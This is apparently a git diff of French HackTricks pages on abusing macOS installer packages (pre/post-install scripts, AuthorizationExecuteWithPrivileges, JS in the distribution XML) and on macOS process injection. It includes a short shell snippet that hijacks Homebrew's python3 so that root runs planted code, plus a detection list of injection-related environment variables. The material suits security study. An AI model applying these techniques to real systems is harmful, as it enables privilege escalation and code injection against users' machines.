<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -24,11 +24,11 @@ Le fichier du package est en fait une archive qui contient une **hiérarchie de
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/Pasted Graphic.png" alt="https://www.youtube.com/watch?v=iASSG0_zobQ"><figcaption></figcaption></figure>
|
||||
|
||||
* **Distribution (xml)** : Personnalisations (titre, texte de bienvenue...) et vérifications de script/installation
|
||||
* **PackageInfo (xml)** : Informations, exigences d'installation, emplacement d'installation, chemins vers les scripts à exécuter
|
||||
* **Liste des matériaux (bom)** : Liste des fichiers à installer, mettre à jour ou supprimer avec les autorisations de fichier
|
||||
* **Charge utile (archive CPIO compressée gzip)** : Fichiers à installer dans l'emplacement d'installation à partir de PackageInfo
|
||||
* **Scripts (archive CPIO compressée gzip)** : Scripts d'installation pré et post et autres ressources extraites vers un répertoire temporaire pour l'exécution.
|
||||
- **Distribution (xml)** : Personnalisations (titre, texte de bienvenue...) et scripts/vérifications d'installation
|
||||
- **PackageInfo (xml)** : Infos, exigences d'installation, emplacement d'installation, chemins vers les scripts à exécuter
|
||||
- **Liste des éléments (bom)** : Liste des fichiers à installer, mettre à jour ou supprimer avec les autorisations de fichier
|
||||
- **Charge utile (archive CPIO compressée gzip)** : Fichiers à installer dans l'emplacement d'installation à partir de PackageInfo
|
||||
- **Scripts (archive CPIO compressée gzip)** : Scripts d'installation pré et post et autres ressources extraites vers un répertoire temporaire pour l'exécution.
|
||||
|
||||
### Décompression
|
||||
```bash
|
||||
|
@ -44,6 +44,8 @@ xar -xf "/path/to/package.pkg"
|
|||
cat Scripts | gzip -dc | cpio -i
|
||||
cpio -i < Scripts
|
||||
```
|
||||
Pour visualiser le contenu de l'installateur sans le décompresser manuellement, vous pouvez également utiliser l'outil gratuit [**Suspicious Package**](https://mothersruin.com/software/SuspiciousPackage/).
|
||||
|
||||
## Informations de base sur les fichiers DMG
|
||||
|
||||
Les fichiers DMG, ou images disque Apple, sont un format de fichier utilisé par macOS d'Apple pour les images disque. Un fichier DMG est essentiellement une **image disque montable** (il contient son propre système de fichiers) qui contient des données de bloc brut généralement compressées et parfois chiffrées. Lorsque vous ouvrez un fichier DMG, macOS le **monte comme s'il s'agissait d'un disque physique**, vous permettant d'accéder à son contenu.
|
||||
|
@ -54,21 +56,21 @@ Les fichiers DMG, ou images disque Apple, sont un format de fichier utilisé par
|
|||
|
||||
La hiérarchie d'un fichier DMG peut être différente en fonction du contenu. Cependant, pour les DMG d'applications, elle suit généralement cette structure :
|
||||
|
||||
- Niveau supérieur : C'est la racine de l'image disque. Il contient souvent l'application et éventuellement un lien vers le dossier Applications.
|
||||
- Application (.app) : Il s'agit de l'application réelle. Dans macOS, une application est généralement un package qui contient de nombreux fichiers et dossiers individuels constituant l'application.
|
||||
- Lien vers Applications : Il s'agit d'un raccourci vers le dossier Applications dans macOS. Le but est de faciliter l'installation de l'application. Vous pouvez faire glisser le fichier .app vers ce raccourci pour installer l'application.
|
||||
* Niveau supérieur : C'est la racine de l'image disque. Il contient souvent l'application et éventuellement un lien vers le dossier Applications.
|
||||
* Application (.app) : Il s'agit de l'application réelle. Dans macOS, une application est généralement un package qui contient de nombreux fichiers et dossiers individuels qui composent l'application.
|
||||
* Lien d'applications : Il s'agit d'un raccourci vers le dossier Applications dans macOS. Le but de ceci est de faciliter l'installation de l'application. Vous pouvez faire glisser le fichier .app vers ce raccourci pour installer l'application.
|
||||
|
||||
## Privilège élevé via l'abus de pkg
|
||||
|
||||
### Exécution à partir de répertoires publics
|
||||
|
||||
Si un script d'installation préalable ou postérieur exécute par exemple à partir de **`/var/tmp/Installerutil`**, et qu'un attaquant peut contrôler ce script, il peut escalader les privilèges chaque fois qu'il est exécuté. Ou un autre exemple similaire :
|
||||
Si un script d'installation préalable ou postérieur exécute par exemple à partir de **`/var/tmp/Installerutil`**, et qu'un attaquant pouvait contrôler ce script, il pourrait escalader les privilèges chaque fois qu'il est exécuté. Ou un autre exemple similaire :
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/Pasted Graphic 5.png" alt="https://www.youtube.com/watch?v=iASSG0_zobQ"><figcaption></figcaption></figure>
|
||||
|
||||
### AuthorizationExecuteWithPrivileges
|
||||
|
||||
Il s'agit d'une [fonction publique](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg) que plusieurs installateurs et mises à jour appelleront pour **exécuter quelque chose en tant que root**. Cette fonction accepte le **chemin** du **fichier** à **exécuter** en tant que paramètre, cependant, si un attaquant peut **modifier** ce fichier, il pourra **abuser** de son exécution avec les privilèges root pour **escalader les privilèges**.
|
||||
Il s'agit d'une [fonction publique](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg) que plusieurs installateurs et mises à jour appelleront pour **exécuter quelque chose en tant que root**. Cette fonction accepte le **chemin** du **fichier** à **exécuter** en tant que paramètre, cependant, si un attaquant pouvait **modifier** ce fichier, il pourrait **abuser** de son exécution avec les privilèges root pour **escalader les privilèges**.
|
||||
```bash
|
||||
# Breakpoint in the function to check wich file is loaded
|
||||
(lldb) b AuthorizationExecuteWithPrivileges
|
||||
|
@ -76,39 +78,39 @@ Il s'agit d'une [fonction publique](https://developer.apple.com/documentation/se
|
|||
```
|
||||
Pour plus d'informations, consultez cette présentation : [https://www.youtube.com/watch?v=lTOItyjTTkw](https://www.youtube.com/watch?v=lTOItyjTTkw)
|
||||
|
||||
### Exécution par montage
|
||||
### Exécution en montant
|
||||
|
||||
Si un installateur écrit dans `/tmp/fixedname/bla/bla`, il est possible de **créer un montage** sur `/tmp/fixedname` sans propriétaires afin de **modifier n'importe quel fichier pendant l'installation** pour abuser du processus d'installation.
|
||||
|
||||
Un exemple de ceci est **CVE-2021-26089** qui a réussi à **écraser un script périodique** pour obtenir une exécution en tant que root. Pour plus d'informations, consultez la présentation : [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
|
||||
Un exemple de ceci est **CVE-2021-26089** qui a réussi à **écraser un script périodique** pour obtenir une exécution en tant que root. Pour plus d'informations, consultez la présentation : [**OBTS v4.0: "Mont(agne) de Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
|
||||
|
||||
## pkg en tant que logiciel malveillant
|
||||
## pkg comme logiciel malveillant
|
||||
|
||||
### Charge utile vide
|
||||
|
||||
Il est possible de simplement générer un fichier **`.pkg`** avec des **scripts pre et post-installation** sans aucune charge utile.
|
||||
|
||||
### JS dans le fichier Distribution xml
|
||||
### JS dans le xml de distribution
|
||||
|
||||
Il est possible d'ajouter des balises **`<script>`** dans le fichier **distribution xml** du package et ce code sera exécuté et il peut **exécuter des commandes** en utilisant **`system.run`**:
|
||||
Il est possible d'ajouter des balises **`<script>`** dans le fichier **xml de distribution** du package et ce code sera exécuté et il peut **exécuter des commandes** en utilisant **`system.run`**:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Références
|
||||
|
||||
* [**DEF CON 27 - Unpacking Pkgs A Look Inside Macos Installer Packages And Common Security Flaws**](https://www.youtube.com/watch?v=iASSG0\_zobQ)
|
||||
* [**OBTS v4.0: "The Wild World of macOS Installers" - Tony Lambert**](https://www.youtube.com/watch?v=Eow5uNHtmIg)
|
||||
* [**DEF CON 27 - Déballage des Pkgs Un Aperçu des Packages d'Installation de Macos et des Failles de Sécurité Courantes**](https://www.youtube.com/watch?v=iASSG0\_zobQ)
|
||||
* [**OBTS v4.0: "Le Monde Sauvage des Installateurs macOS" - Tony Lambert**](https://www.youtube.com/watch?v=Eow5uNHtmIg)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en Équipe Rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,106 +2,114 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
## Abus de processus MacOS
|
||||
## Abus de processus macOS
|
||||
|
||||
MacOS, comme tout autre système d'exploitation, offre une variété de méthodes et de mécanismes pour que les **processus interagissent, communiquent et partagent des données**. Bien que ces techniques soient essentielles pour le fonctionnement efficace du système, elles peuvent également être détournées par des acteurs malveillants pour **effectuer des activités malveillantes**.
|
||||
macOS, comme tout autre système d'exploitation, propose une variété de méthodes et mécanismes pour que les **processus interagissent, communiquent et partagent des données**. Bien que ces techniques soient essentielles pour le bon fonctionnement du système, elles peuvent également être abusées par des acteurs malveillants pour **effectuer des activités malveillantes**.
|
||||
|
||||
### Injection de bibliothèque
|
||||
|
||||
L'injection de bibliothèque est une technique par laquelle un attaquant **force un processus à charger une bibliothèque malveillante**. Une fois injectée, la bibliothèque s'exécute dans le contexte du processus cible, donnant à l'attaquant les mêmes permissions et accès que le processus.
|
||||
L'injection de bibliothèque est une technique dans laquelle un attaquant **force un processus à charger une bibliothèque malveillante**. Une fois injectée, la bibliothèque s'exécute dans le contexte du processus cible, fournissant à l'attaquant les mêmes autorisations et accès que le processus.
|
||||
|
||||
{% content-ref url="macos-library-injection/" %}
|
||||
[injection-de-bibliotheque-macos](macos-library-injection/)
|
||||
[macos-library-injection](macos-library-injection/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Hooking de fonction
|
||||
### Accrochage de fonction
|
||||
|
||||
Le hooking de fonction implique **l'interception d'appels de fonction** ou de messages au sein d'un code logiciel. En hookant des fonctions, un attaquant peut **modifier le comportement** d'un processus, observer des données sensibles ou même prendre le contrôle du flux d'exécution.
|
||||
L'accrochage de fonction implique **l'interception des appels de fonction** ou des messages au sein d'un code logiciel. En accrochant des fonctions, un attaquant peut **modifier le comportement** d'un processus, observer des données sensibles, voire prendre le contrôle du flux d'exécution.
|
||||
|
||||
{% content-ref url="../mac-os-architecture/macos-function-hooking.md" %}
|
||||
[hooking-de-fonction-macos.md](../mac-os-architecture/macos-function-hooking.md)
|
||||
[macos-function-hooking.md](../mac-os-architecture/macos-function-hooking.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Communication inter-processus
|
||||
|
||||
La communication inter-processus (IPC) fait référence à différentes méthodes par lesquelles des processus séparés **partagent et échangent des données**. Bien que l'IPC soit fondamental pour de nombreuses applications légitimes, elle peut également être détournée pour subvertir l'isolation des processus, divulguer des informations sensibles ou effectuer des actions non autorisées.
|
||||
La communication inter-processus (IPC) fait référence à différentes méthodes par lesquelles des processus distincts **partagent et échangent des données**. Bien que l'IPC soit fondamental pour de nombreuses applications légitimes, il peut également être détourné pour contourner l'isolation des processus, divulguer des informations sensibles ou effectuer des actions non autorisées.
|
||||
|
||||
{% content-ref url="../mac-os-architecture/macos-ipc-inter-process-communication/" %}
|
||||
[communication-inter-processus-macos](../mac-os-architecture/macos-ipc-inter-process-communication/)
|
||||
[macos-ipc-inter-process-communication](../mac-os-architecture/macos-ipc-inter-process-communication/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Injection dans les applications Electron
|
||||
### Injection d'applications Electron
|
||||
|
||||
Les applications Electron exécutées avec des variables d'environnement spécifiques pourraient être vulnérables à l'injection de processus :
|
||||
|
||||
{% content-ref url="macos-electron-applications-injection.md" %}
|
||||
[injection-dans-applications-electron-macos.md](macos-electron-applications-injection.md)
|
||||
[macos-electron-applications-injection.md](macos-electron-applications-injection.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### NIB sale
|
||||
### Injection Chromium
|
||||
|
||||
Les fichiers NIB **définissent les éléments de l'interface utilisateur (UI)** et leurs interactions au sein d'une application. Cependant, ils peuvent **exécuter des commandes arbitraires** et **Gatekeeper n'empêche pas** une application déjà exécutée de l'être à nouveau si un **fichier NIB est modifié**. Par conséquent, ils pourraient être utilisés pour faire exécuter des commandes arbitraires par des programmes arbitraires :
|
||||
Il est possible d'utiliser les indicateurs `--load-extension` et `--use-fake-ui-for-media-stream` pour effectuer une **attaque de l'homme du navigateur** permettant de voler des frappes, du trafic, des cookies, d'injecter des scripts dans les pages... :
|
||||
|
||||
{% content-ref url="macos-chromium-injection.md" %}
|
||||
[macos-chromium-injection.md](macos-chromium-injection.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Fichier NIB corrompu
|
||||
|
||||
Les fichiers NIB **définissent les éléments de l'interface utilisateur (UI)** et leurs interactions au sein d'une application. Cependant, ils peuvent **exécuter des commandes arbitraires** et **Gatekeeper n'empêche pas** l'exécution d'une application déjà exécutée si un **fichier NIB est modifié**. Par conséquent, ils pourraient être utilisés pour faire exécuter des programmes arbitraires des commandes arbitraires :
|
||||
|
||||
{% content-ref url="macos-dirty-nib.md" %}
|
||||
[nib-sale-macos.md](macos-dirty-nib.md)
|
||||
[macos-dirty-nib.md](macos-dirty-nib.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Injection dans les applications Java
|
||||
### Injection d'applications Java
|
||||
|
||||
Il est possible d'abuser de certaines capacités Java (comme la variable d'environnement **`_JAVA_OPTS`**) pour faire exécuter **du code/commandes arbitraires** par une application Java.
|
||||
Il est possible d'abuser de certaines capacités de Java (comme la variable d'environnement **`_JAVA_OPTS`**) pour faire exécuter à une application Java du **code/commandes arbitraires**.
|
||||
|
||||
{% content-ref url="macos-java-apps-injection.md" %}
|
||||
[injection-dans-applications-java-macos.md](macos-java-apps-injection.md)
|
||||
[macos-java-apps-injection.md](macos-java-apps-injection.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Injection dans les applications .Net
|
||||
### Injection d'applications .Net
|
||||
|
||||
Il est possible d'injecter du code dans des applications .Net en **abusant de la fonctionnalité de débogage .Net** (non protégée par les protections macOS telles que le durcissement à l'exécution).
|
||||
Il est possible d'injecter du code dans des applications .Net en **abusant de la fonctionnalité de débogage .Net** (non protégée par les protections macOS telles que le renforcement de l'exécution).
|
||||
|
||||
{% content-ref url="macos-.net-applications-injection.md" %}
|
||||
[injection-dans-applications-net-macos.md](macos-.net-applications-injection.md)
|
||||
[macos-.net-applications-injection.md](macos-.net-applications-injection.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Injection Perl
|
||||
|
||||
Vérifiez différentes options pour faire exécuter du code arbitraire par un script Perl dans :
|
||||
Consultez différentes options pour faire exécuter du code arbitraire dans un script Perl :
|
||||
|
||||
{% content-ref url="macos-perl-applications-injection.md" %}
|
||||
[injection-perl-macos.md](macos-perl-applications-injection.md)
|
||||
[macos-perl-applications-injection.md](macos-perl-applications-injection.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Injection Ruby
|
||||
|
||||
Il est également possible d'abuser des variables d'environnement Ruby pour faire exécuter du code arbitraire par des scripts arbitraires :
|
||||
Il est également possible d'abuser des variables d'environnement Ruby pour faire exécuter des scripts arbitraires :
|
||||
|
||||
{% content-ref url="macos-ruby-applications-injection.md" %}
|
||||
[injection-ruby-macos.md](macos-ruby-applications-injection.md)
|
||||
[macos-ruby-applications-injection.md](macos-ruby-applications-injection.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Injection Python
|
||||
|
||||
Si la variable d'environnement **`PYTHONINSPECT`** est définie, le processus Python passera dans une CLI Python une fois terminé. Il est également possible d'utiliser **`PYTHONSTARTUP`** pour indiquer un script Python à exécuter au début d'une session interactive.\
|
||||
Si la variable d'environnement **`PYTHONINSPECT`** est définie, le processus Python passera en mode CLI Python une fois terminé. Il est également possible d'utiliser **`PYTHONSTARTUP`** pour indiquer un script Python à exécuter au début d'une session interactive.\
|
||||
Cependant, notez que le script **`PYTHONSTARTUP`** ne sera pas exécuté lorsque **`PYTHONINSPECT`** crée la session interactive.
|
||||
|
||||
D'autres variables d'environnement telles que **`PYTHONPATH`** et **`PYTHONHOME`** pourraient également être utiles pour faire exécuter du code arbitraire par une commande Python.
|
||||
|
||||
Notez que les exécutables compilés avec **`pyinstaller`** n'utiliseront pas ces variables d'environnement même s'ils fonctionnent avec un Python intégré.
|
||||
Notez que les exécutables compilés avec **`pyinstaller`** n'utiliseront pas ces variables d'environnement même s'ils s'exécutent à l'aide d'un Python intégré.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Globalement, je n'ai pas trouvé de moyen de faire exécuter du code arbitraire par Python en abusant des variables d'environnement.\
|
||||
Cependant, la plupart des gens installent Python en utilisant **Homebrew**, qui installera Python dans un **emplacement accessible en écriture** pour l'utilisateur admin par défaut. Vous pouvez le détourner avec quelque chose comme :
|
||||
Dans l'ensemble, je n'ai pas trouvé de moyen de faire exécuter du code arbitraire par Python en abusant des variables d'environnement.\
|
||||
Cependant, la plupart des gens installent Python en utilisant **Hombrew**, qui installera Python dans un **emplacement inscriptible** pour l'utilisateur administrateur par défaut. Vous pouvez le détourner avec quelque chose comme:
|
||||
```bash
|
||||
mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old
|
||||
cat > /opt/homebrew/bin/python3 <<EOF
|
||||
|
@ -111,26 +119,22 @@ cat > /opt/homebrew/bin/python3 <<EOF
|
|||
EOF
|
||||
chmod +x /opt/homebrew/bin/python3
|
||||
```
|
||||
```markdown
|
||||
Même **root** exécutera ce code lors de l'exécution de python.
|
||||
{% endhint %}
|
||||
|
||||
## Détection
|
||||
|
||||
### Shield
|
||||
|
||||
[**Shield**](https://theevilbit.github.io/shield/) ([**Github**](https://github.com/theevilbit/Shield)) est une application open source qui peut **détecter et bloquer les actions d'injection de processus** :
|
||||
|
||||
* Utilisation de **Variables d'Environnement** : Il surveillera la présence de l'une des variables d'environnement suivantes : **`DYLD_INSERT_LIBRARIES`**, **`CFNETWORK_LIBRARY_PATH`**, **`RAWCAMERA_BUNDLE_PATH`** et **`ELECTRON_RUN_AS_NODE`**
|
||||
* Utilisation des appels **`task_for_pid`** : Pour trouver quand un processus veut obtenir le **port de tâche d'un autre** ce qui permet d'injecter du code dans le processus.
|
||||
* **Paramètres des applications Electron** : Quelqu'un peut utiliser les arguments de ligne de commande **`--inspect`**, **`--inspect-brk`** et **`--remote-debugging-port`** pour démarrer une application Electron en mode débogage, et ainsi injecter du code.
|
||||
* Utilisation de **symlinks** ou **hardlinks** : Typiquement, l'abus le plus courant est de **placer un lien avec nos privilèges utilisateur**, et de le **pointer vers un emplacement de privilège supérieur**. La détection est très simple pour les hardlinks et les symlinks. Si le processus créant le lien a un **niveau de privilège différent** de celui du fichier cible, nous créons une **alerte**. Malheureusement, dans le cas des symlinks, le blocage n'est pas possible, car nous n'avons pas d'informations sur la destination du lien avant sa création. C'est une limitation du framework EndpointSecuriy d'Apple.
|
||||
* En utilisant les **Variables d'Environnement** : Il surveillera la présence de l'une des variables d'environnement suivantes : **`DYLD_INSERT_LIBRARIES`**, **`CFNETWORK_LIBRARY_PATH`**, **`RAWCAMERA_BUNDLE_PATH`** et **`ELECTRON_RUN_AS_NODE`**
|
||||
* En utilisant les appels **`task_for_pid`** : Pour trouver quand un processus veut obtenir le **port de tâche d'un autre** ce qui permet d'injecter du code dans le processus.
|
||||
* **Paramètres des applications Electron** : Quelqu'un peut utiliser les arguments de ligne de commande **`--inspect`**, **`--inspect-brk`** et **`--remote-debugging-port`** pour démarrer une application Electron en mode débogage, et ainsi injecter du code dedans.
|
||||
* En utilisant des **liens symboliques** ou des **liens physiques** : Typiquement, l'abus le plus courant est de **placer un lien avec nos privilèges utilisateur**, et **le pointer vers un emplacement de privilège supérieur**. La détection est très simple pour les liens symboliques et physiques. Si le processus créant le lien a un **niveau de privilège différent** du fichier cible, nous créons une **alerte**. Malheureusement, dans le cas des liens symboliques, le blocage n'est pas possible, car nous n'avons pas d'informations sur la destination du lien avant sa création. Il s'agit d'une limitation du framework EndpointSecuriy d'Apple.
|
||||
|
||||
### Appels effectués par d'autres processus
|
||||
|
||||
Dans [**ce billet de blog**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html), vous pouvez découvrir comment il est possible d'utiliser la fonction **`task_name_for_pid`** pour obtenir des informations sur d'autres **processus injectant du code dans un processus** et ensuite obtenir des informations sur cet autre processus.
|
||||
Dans [**cet article de blog**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html) vous pouvez trouver comment il est possible d'utiliser la fonction **`task_name_for_pid`** pour obtenir des informations sur d'autres **processus injectant du code dans un processus** et ensuite obtenir des informations sur cet autre processus.
|
||||
|
||||
Notez que pour appeler cette fonction, vous devez être **le même uid** que celui qui exécute le processus ou **root** (et cela retourne des informations sur le processus, pas un moyen d'injecter du code).
|
||||
Notez que pour appeler cette fonction, vous devez être **le même uid** que celui exécutant le processus ou **root** (et cela renvoie des informations sur le processus, pas un moyen d'injecter du code).
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -139,15 +143,14 @@ Notez que pour appeler cette fonction, vous devez être **le même uid** que cel
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -0,0 +1,57 @@
|
|||
# Injection de Chromium macOS
|
||||
|
||||
<details>
|
||||
|
||||
